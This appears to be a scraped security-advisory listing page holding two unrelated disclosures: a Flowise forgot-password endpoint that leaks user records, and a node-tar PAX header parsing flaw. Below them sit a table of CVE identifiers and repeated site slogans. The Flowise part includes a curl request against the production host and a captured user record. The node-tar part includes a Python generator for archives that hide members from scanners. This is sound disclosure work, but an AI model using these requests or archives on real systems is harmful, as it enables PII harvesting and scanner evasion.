The `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.

## Vulnerability Details

| Field | Value |
|-------|-------|
| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) |
| Endpoint | `POST /api/v1/account/forgot-password` |
| Authentication | None required |
| CVSS 3.1 | 3.7 (Low) |

## Root Cause

In `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment:

```typescript
public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}
```

The `sanitizeUser` function only removes sensitive authentication fields:

```typescript
export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}
```

## Impact

An unauthenticated attacker can:

1. **Harvest PII**: Collect user IDs, full names, and account metadata
2. **Profile users**: Determine account creation dates and activity patterns
3. **Enumerate accounts**: Confirm email existence and gather associated data
4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing

## Exploitation

```bash
curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"victim@example.com"}}'
```

### Evidence

**Request:**
```http
POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"vefag54010@naprb.com"}}
```

**Response (201 Created):**
```json
{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "vefag54010@naprb.com",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}
```

<img width="1582" height="791" alt="screenshot" src="https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50" />

## Exposed Data

| Field | Risk |
|-------|------|
| `id` | Internal user UUID - enables targeted attacks |
| `name` | Full name - PII disclosure |
| `email` | Email confirmation |
| `status` | Account state information |
| `createdDate` | User profiling |
| `updatedDate` | Activity tracking |
| `createdBy` / `updatedBy` | Internal reference leak |

## Expected Behavior

A secure forgot-password endpoint should return a generic response regardless of whether the email exists:

```json
{"message": "If this email exists, a password reset link has been sent."}
```

## References

- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)

### Summary

`tar` (node-tar) applies a PAX extended header's `size=` record (and other PAX
overrides) to the **next header entry of any type**, including intermediary
metadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per
POSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the
intermediary extension headers that may sit between the `x` header and the file
it annotates. Because node-tar lets the PAX `size` override the byte length of
an intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /
`astral-tokio-tar`).

The result is a tar parser **interpretation differential** (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs `npm`'s own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent
defect and has no equivalent guard.

### Impact

- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
  the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
  GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
  scans with node-tar and a different member list to GNU tar / libarchive /
  Python tarfile (and vice versa). This lets a malicious file be hidden from a
  scanner that uses a different parser than the eventual extractor, or hidden
  from node-tar-based inspection while still landing on disk via a system `tar`.
- No authentication is required; the only precondition is that a victim parses
  an attacker-supplied tar with node-tar. Tar archives are routinely fetched
  from untrusted sources (package registries, user uploads, CI artifacts,
  container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
  RCE; it is a building block for supply-chain / scanner-evasion attacks rather
  than a standalone code-execution primitive.

### Vulnerable code (file:line)

`src/header.ts` (compiled to `dist/esm/header.js:49` and
`dist/commonjs/header.js:85` in the published `tar@7.5.15`):

```ts
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
```

`ex` is the currently-accumulated PAX **local** extended header and `gex` the
PAX **global** header. The `size` override from `ex`/`gex` is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real *file* entry rather than an intermediary
extension header.

`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current
`EX`/`GEX` applied:

```ts
const header = new Header(chunk, position, this[EX], this[GEX])
```

and later branches on whether that header is a metadata entry. `this[EX]` is
cleared only in the non-meta (real file) branch:

```ts
if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}
```

When the stream is ordered `x (PAX, size=N) -> L (GNU long-name) -> file`, the
`L` header is constructed with `this[EX]` still set, so its `size`/`remain`
becomes `N` instead of the `L` payload's true length. node-tar then consumes `N`
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX `size` only to the
following *file* entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to **not** apply PAX `size`/overrides when the entry being decoded is itself an
extension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX
global).

### How input reaches the sink

`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route
every 512-byte header block through `Header.decode(...)` with the
currently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied
archive — `tar.list`, `tar.extract`, or piping into the streaming `Parser` —
reaches the sink. No options need to be enabled; the default code path is
affected.

### Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

```
block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
```

Generator (`make_tar.py`, pure stdlib, no external deps):

```python
def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
```

A negative-control archive is identical except the PAX record is
`pax_record('comment', 'x')` (no `size=`), written to `pax-control.tar`.

### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)

Install the published package into a clean project and parse both archives:

```
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
```

`e2e.mjs`:

```js
import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
```

Verbatim output:

```
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []
```

Reference parsers on the **same** `pax-desync.tar`:

```
$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile
```

Interpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`
all extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar
`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from
landing mid-stream), and reports **zero** members. The negative control proves
the divergence is caused solely by the PAX `size=` override being applied to the
intermediary `L` header — when the same archive carries a PAX record without
`size=`, node-tar parses it identically to the reference tools
(`longname.txt`, `file_b`).

### Suggested fix

When decoding a header, do not apply PAX `size` (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the
header's type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`
(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in
`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards `pax_size` with
`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.

A fix PR is being prepared against a private fork and will be linked here.

### Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

### Credits

Reported by tonghuaroot.

CVE ID↕	Published↕	CVSS↑
CVE-2026-56407	Jun 21, 2026	Medium 6.9
CVE-2025-54387	Aug 5, 2025	Medium 6.9
GHSA-vxcv-4xvf-pc22	Nov 20, 2024	Medium 6.9
CVE-2025-53359	Jul 2, 2025	Medium 6.9
GHSA-3h6h-67x3-cv5x	Jun 8, 2026	Medium 6.9
CVE-2025-59352	Sep 17, 2025	Medium 6.9
RHSA-2026:30647	Jun 29, 2026	Medium 6.9
GHSA-pqh6-8fxf-jx22	May 6, 2026	Medium 6.9
CVE-2024-7035	Mar 20, 2025	Medium 6.9
CVE-2025-57806	Sep 3, 2025	Medium 6.9
GHSA-5qjj-4xww-7phc	Jul 24, 2026	Medium 6.9
CVE-2026-22177	Mar 18, 2026	Medium 6.9
GHSA-22qq-3xwm-r5x4	Feb 3, 2025	Medium 6.9
ALPINE-CVE-2026-56404	Jun 21, 2026	Medium 6.9
ALPINE-CVE-2026-56403	Jun 21, 2026	Medium 6.9
GHSA-jjwr-5cfh-7xwh	Jul 15, 2025	Medium 6.9
GHSA-8xq3-w9fx-74rv	Jul 28, 2025	Medium 6.9
GHSA-72hv-8253-57qq	Feb 28, 2026	Medium 6.9
GHSA-jc5m-wrp2-qq38	Mar 5, 2026	Medium 6.9
GHSA-vmf3-w455-68vh	Jun 15, 2026	Medium 6.9

Know every vulnerability
before it knows you.

Medium CVE Vulnerabilities (CVSS 4–6.9) — DevGuard

Know every vulnerabilitybefore it knows you.

Medium CVE Vulnerabilities (CVSS 4–6.9) — DevGuard

Know every vulnerability
before it knows you.